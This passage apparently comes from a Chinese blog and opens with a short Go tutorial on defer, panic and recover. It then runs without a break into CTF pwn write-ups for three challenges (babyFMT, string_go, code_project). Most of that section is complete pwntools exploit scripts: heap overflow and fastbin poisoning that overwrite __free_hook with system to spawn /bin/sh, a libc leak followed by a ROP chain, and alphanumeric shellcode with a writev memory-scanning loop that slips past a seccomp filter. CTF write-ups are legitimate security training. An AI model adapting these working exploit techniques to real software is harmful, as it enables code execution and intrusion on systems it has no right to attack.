的方式可以预执行一个函数,所谓预执行就是将函数放进一个LIFO的链表中,在函数执行完毕返回或者因为异常退出的时候就会逐一执行该链表中的函数。defer
常常被用于资源释放。
recover()
可以将go进程从panic中取回控制权,并返回panic的异常消息。
由此可以得到一个利用 panic("异常消息")
抛出异常触发函数返回,然后使用 defer func() {...}
来捕捉异常的错误处理思路。
package main
import "fmt"
func test3(index int) {
/*
错误拦截要在产生错误前设置,因此建议大家把错误拦截的函数放在函数内部的首行定义。
*/
defer func() {
err := recover()
if err != nil {
fmt.Println(err)
}
}()
/*
定义容量为10的数组
*/
var arr [10]int
if index >= 10 {
panic("请注意,index > 10,出现了索引越界异常...(index的取值范围0~9)")
}
arr[index] = 123
fmt.Println(arr)
}
func main() {
test3(5)
test3(12)
fmt.Println("代码执行完毕")
}
注意由于需要捕获整个函数的异常所以在开头定义 defer 匿名函数
。当下标越界发生后触发函数退出,开始执行defer构建的函数链表,此时 recover()
取回控制权并返回错误信息。
对比一下同一个样例,定义了defer和没定义defer的执行结果:
[0 0 0 0 0 123 0 0 0 0]
请注意,index > 10,出现了索引越界异常...(index的取值范围0~9)
代码执行完毕
[0 0 0 0 0 123 0 0 0 0]
panic: 请注意,index > 10,出现了索引越界异常...(index的取值范围0~9)
goroutine 1 [running]:
main.test3(0x4c52b9)
C:/Users/xxx/main.go:16 +0x112
main.main()
C:/Users/xxx/main.go:26 +0x28
exit status 2
可以看到,无论有没有defer,panic都打断了函数的执行。但是defer可以使得程序流继续往下而不是直接中断。
以为是个普通的格式化串题,结果是出题人自己实现了一个格式化输入(babyscanf
)和输出(babyprintf
)
漏洞点:
show()
里面可以自定义输出用的格式化串,但是光有这个是无法利用的,需要结合另一个漏洞点babyprintf()
中,这里最开始缓冲区大小的确定方式是:首先获取格式化串原长(用的strlen),先进行一次遍历,每遍历到一个%就把需要的长度+0x10,最后交给malloc来获得存放输出流用的buffer;反复审计了几次发现使用b"%\x00"
形式的格式化串可以欺骗strlen同时不会导致格式化串解析的终止。于是当我们使用%r
——类似scanf
中的%s
时就会造成以外的堆溢出覆盖利用:
0x30
堆块,在其后构造几个0x50
的堆块,通过溢出修改size进行overlap;overlap之后就顺理成章能使用UAF来修改0x50
fasbin中的fd指针指向__free_hook
0x50
)去做控制是因为在__free_hook
被修改为system
之后并不能立马发生system("/bin/sh")
,需要手动去执行一次show()
逻辑,在最后释放格式化串buffer的时候再触发system("/bin/sh")
;这个过程中会发生几次固定的babyprintf()
调用,这里如果碰到了被破坏的堆结构会触发异常,所以需要绕掉EXP:
from pwn import *
#p = process("./babyFMT", env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("43.155.72.106", 9999)
elf = ELF("./libc-2.31.so")
context.log_level = "debug"
def add(size:int, author, content):
p.sendlineafter(b">", b"1")
p.sendlineafter(b"Size:", b"Content size is "+str(size).encode())
p.sendlineafter(b"Author:", b"Book author is "+author)
p.sendlineafter(b"Content:", b"Book content is "+content)
def delete(idx:int):
p.sendlineafter(b">", b"2")
#p.sendafter(b"Idx:", b"Book idx is "+str(idx).encode()+b" ")
p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode())
def show(idx:int, fmt):
p.sendlineafter(b">", b"3")
p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode())
p.sendlineafter(b"You can show book by yourself\n", b"My format "+fmt)
# base: 0x0000555555554000+0x4060
def exp():
# leak
## leak libc
add(0x20, b"xxxx", b"xxxx") # 0 bad chunk
add(0x410, b"aaaa", b"bbbb") # 1
add(0x20, b"tttt", b"tttt") # 2 split
delete(1)
add(0x20, b"b", b"b") #1
show(1, b"%r|%m|%r")
libc_leak = p.recv(6).ljust(8, b"\x00")
libc_leak = u64(b"\xe0"+libc_leak[1:])
libc_base = libc_leak - 0x470 - elf.symbols[b"__malloc_hook"]
free_hook = libc_base + elf.symbols[b"__free_hook"]
system = libc_base + elf.symbols[b"system"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
## attack tcache
## b"AAAAAAAAAA%m%m%r"
add(0x360, b"x"*0x10, b"xxxx") # 3 clean unsorted bin
add(0x10, b"xxxx", b"xxxx") # 4 clean 0x30 bin
add(0x20, b"xxxx", b"xxxx") # 5 clean 0x40 bin
add(0x10, b"6666", b"cccc") # 6
add(0x30, b"7777", b"cccc") # 7
add(0x30, b"8888", b"cccc") # 8
add(0x30, b"9999", b"cccc") # 9
add(0x30, b"9999", b"cccc") # 10
add(0x100, b"x"*0x10, b"\x61") #11
delete(6)
show(11, b"A"*8+b"%\x00"+b"A"*0x18+b"A"*0x8+b"\xa1") # resize
delete(10)
delete(9)
delete(8)
delete(7) # resized
add(0x80, b"rrrr", b"A"*0x38+p64(free_hook-0x20)[:6]) # 6
## fetch
add(0x30, b"tttt", b"tttt") # 7
add(0x30, b"A"*0x10, b"A"*0x8+p64(system)[:6]) # 10
print("free_hook:", hex(free_hook))
print("system:", hex(system))
# get shell
p.sendline(b"3")
p.sendline(b"Book idx is 7")
p.sendline(b"My format /bin/sh; ")
p.interactive()
if __name__ == "__main__":
exp()
表达式计算器,负数导致溢出泄露地址+栈溢出写rop
from pwn import *
#p = process("./string_go", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("82.157.20.104", 42100)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
# base: 0x0000555555554000
def send(content):
p.sendlineafter(b">>> ", content)
def exp():
#gdb.attach(p)
#gdb.attach(p, "b *0x0000555555554000+0x2415\nb *0x0000555555554000+0x2424\nc\n")
# start
send(b"1+2")
# lative
## leak
send(b"-7") # ch idx
send(b"\x00") # sta
send(b"\x02") # patch
leak_data = p.recv(0x58)
p.recv(0xa0)
libc_leak = u64(p.recv(8))
libc_base = libc_leak- 0x21bf7
system = libc_base + libc.symbols[b"system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_ret = libc_base + 0x215bf
ret = libc_base + 0x8aa
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
# overwrite
payload = leak_data[0x20:]
payload += p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
send(payload) # src str
p.interactive()
if __name__ == "__main__":
exp()
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0d 0xffffffff if (A != 0xffffffff) goto 0018
0005: 0x15 0x0c 0x00 0x0000003b if (A == execve) goto 0018
0006: 0x15 0x0b 0x00 0x00000142 if (A == execveat) goto 0018
0007: 0x15 0x0a 0x00 0x00000002 if (A == open) goto 0018
0008: 0x15 0x09 0x00 0x00000101 if (A == openat) goto 0018
0009: 0x15 0x08 0x00 0x00000039 if (A == fork) goto 0018
0010: 0x15 0x07 0x00 0x00000065 if (A == ptrace) goto 0018
0011: 0x15 0x06 0x00 0x00000020 if (A == dup) goto 0018
0012: 0x15 0x05 0x00 0x00000009 if (A == mmap) goto 0018
0013: 0x15 0x04 0x00 0x00000130 if (A == open_by_handle_at) goto 0018
0014: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0018
0015: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0018
0016: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x06 0x00 0x00 0x00000000 return KILL
看样子readv和writev有戏
readv
没有被禁用可以自覆盖解除alpha限制,writev
访问非法内存会返回错误值但是不会报错导致中断,可以写一个loop从低到高遍历地址去读flag
from pwn import *
from time import sleep
#p = process("./code_project")
p = remote("82.157.31.181", 25100)
context.log_level = "debug"
readv_x64 = '''
xor rdi, rdi;
mov rax, 0x7fffffff
shr rax, 20;
push rax;
push rsp;
mov rsi, rsp;
xor rdx, rdx;
inc rdx;
push 19;
pop rax;
syscall;
'''
writev_x64 = '''
mov r8, 0x100;
DO_WRITE:
add r8, 1;
mov rdi, 0x1;
mov rbx, r8;
shl rbx, 12;
mov qword ptr [rbp+0x100], rbx;
mov qword ptr [rbp+0x108], 0x30;
lea rsi, [rbp+0x100];
mov rdx, 1;
mov rax, 20;
syscall;
cmp r8, 0xffff;
jne DO_WRITE;
'''
def exp():
#gdb.attach(p, "b *0x400b16\nc\n")
p.recvuntil(b"DASCTF{MD5}\n")
# self overwrite
'''
payload1 = asm(readv_x64, arch="amd64")
print(payload1.hex("|"))
#pause()
with open("./alpha_shellcode", "wb") as f:
f.write(payload1)
'''
payload1 = b"Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103Z0y3g3c358O4F0L2O3b4K2G0e0l175M300x1M3p178L301n0X0j0H050"
payload1 = payload1.ljust(0x100, b"A")
p.send(payload1)
# writev loop
payload2 = b"\x90"*0x50
payload2 += asm(writev_x64, arch="amd64")
payload2 = payload2.ljust(0x100, b"\x90")
p.send(payload2)
p.interactive()
if __name__ == "__main__":
exp()